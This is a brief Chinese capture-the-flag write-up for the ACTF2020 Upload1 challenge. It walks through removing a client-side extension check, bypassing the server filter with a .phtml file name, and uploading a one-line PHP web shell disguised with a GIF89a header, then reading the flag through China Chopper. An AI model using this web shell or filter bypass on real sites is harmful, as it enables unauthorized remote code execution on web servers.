以[ACTF2020 新生賽]Upload1為例

嘗試上傳PHP文件

發(fā)現(xiàn)前端頁面彈框,那么說明前端對文件后綴有限制,那么我們找到限制的地方刪掉限制

顯示錯誤信息,所以后端對文件也做了限制,那么我們嘗試繞過限制

設(shè)置文件名為:3.phtml成功繞過后端限制并且得到存儲文件的地方,所以我們用菜刀連接
所用的一句話為:GIF89a? <script language="php">eval($_REQUEST[shell])</script>


連接成功,在虛擬終端中輸入: cat /flag即可得到flag